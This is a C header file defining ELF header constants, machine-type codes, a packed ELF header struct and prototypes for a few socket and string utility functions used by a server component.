#pragma once

#include "server.h"
#include "includes.h"

#define BUFFER_SIZE 4096

#define EI_NIDENT   16 // Side of e_ident in elf header
#define EI_DATA     5  // Offset endianness in e_ident

#define EE_NONE     0 // No endianness ????
#define EE_LITTLE   1 // Little endian
#define EE_BIG      2 // Big endian

#define ET_NOFILE   0 // None
#define ET_REL      1 // Relocatable file
#define ET_EXEC     2 // Executable file
#define ET_DYN      3 // Shared object file
#define ET_CORE     4 // Core file

/* These constants define the various ELF target machines */
#define EM_NONE         0
#define EM_M32          1
#define EM_SPARC        2
#define EM_386          3
#define EM_68K          4 // m68k
#define EM_88K          5 // m68k
#define EM_486          6 // x86
#define EM_860          7 // Unknown
#define EM_MIPS         8       /* MIPS R3000 (officially, big-endian only) */
                                /* Next two are historical and binaries and
                                   modules of these types will be rejected by
                                   Linux.  */
#define EM_MIPS_RS3_LE  10      /* MIPS R3000 little-endian */
#define EM_MIPS_RS4_BE  10      /* MIPS R4000 big-endian */

#define EM_PARISC       15      /* HPPA */
#define EM_SPARC32PLUS  18      /* Sun's "v8plus" */
#define EM_PPC          20      /* PowerPC */
#define EM_PPC64        21      /* PowerPC64 */
#define EM_SPU          23      /* Cell BE SPU */
#define EM_ARM          40      /* ARM 32 bit */
#define EM_SH           42      /* SuperH */
#define EM_SPARCV9      43      /* SPARC v9 64-bit */
#define EM_H8_300       46      /* Renesas H8/300 */
#define EM_IA_64        50      /* HP/Intel IA-64 */
#define EM_X86_64       62      /* AMD x86-64 */
#define EM_S390         22      /* IBM S/390 */
#define EM_CRIS         76      /* Axis Communications 32-bit embedded processor */
#define EM_M32R         88      /* Renesas M32R */
#define EM_MN10300      89      /* Panasonic/MEI MN10300, AM33 */
#define EM_OPENRISC     92     /* OpenRISC 32-bit embedded processor */
#define EM_BLACKFIN     106     /* ADI Blackfin Processor */
#define EM_ALTERA_NIOS2 113     /* Altera Nios II soft-core processor */
#define EM_TI_C6000     140     /* TI C6X DSPs */
#define EM_AARCH64      183     /* ARM 64 bit */
#define EM_TILEPRO      188     /* Tilera TILEPro */
#define EM_MICROBLAZE   189     /* Xilinx MicroBlaze */
#define EM_TILEGX       191     /* Tilera TILE-Gx */
#define EM_FRV          0x5441  /* Fujitsu FR-V */
#define EM_AVR32        0x18ad  /* Atmel AVR32 */

struct elf_hdr {
    uint8_t e_ident[EI_NIDENT];
    uint16_t e_type, e_machine;
    uint32_t e_version;
} __attribute__((packed));

int util_socket_and_bind(struct server *srv);
int util_memsearch(char *buf, int buf_len, char *mem, int mem_len);
BOOL util_sockprintf(int fd, const char *fmt, ...);
char *util_trim(char *str);